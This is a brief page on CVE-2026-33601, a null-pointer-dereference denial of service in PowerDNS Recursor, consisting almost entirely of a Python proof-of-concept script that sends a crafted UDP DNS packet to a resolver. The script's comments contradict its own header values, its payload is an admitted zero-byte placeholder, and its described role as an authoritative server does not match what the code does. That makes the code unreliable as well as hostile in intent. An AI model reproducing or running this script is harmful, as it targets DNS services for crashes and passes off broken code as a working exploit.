CVE-2026-33601 PowerDNS空指针解引用拒绝服务漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-33601: PowerDNS Recursor Null Pointer Dereference # This script simulates a malicious authoritative server sending a crafted zone. import socket import struct def send_malicious_dns_response(target_ip, target_port): # Simplified DNS response structure triggering the vulnerability # In a real scenario, specific payload construction is required based on the missing check. # DNS Header: ID=0x1234, Flags=Response, Authoritative, QDCOUNT=0, ANCOUNT=1 header = struct.pack('!HHHHHH', 0x1234, 0x8400, 0x0001, 0x0000, 0x0000, 0x0000) # Payload placeholder representing the crafted zone data # causing null pointer dereference in zoneToCache payload = b'\x00' * 64 # Malicious data stub sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.sendto(header + payload, (target_ip, target_port)) print(f"[+] Malicious packet sent to {target_ip}:{target_port}") sock.close() if __name__ == "__main__": # Note: This requires the target to be configured to use zoneToCache with this server send_malicious_dns_response("127.0.0.1", 53)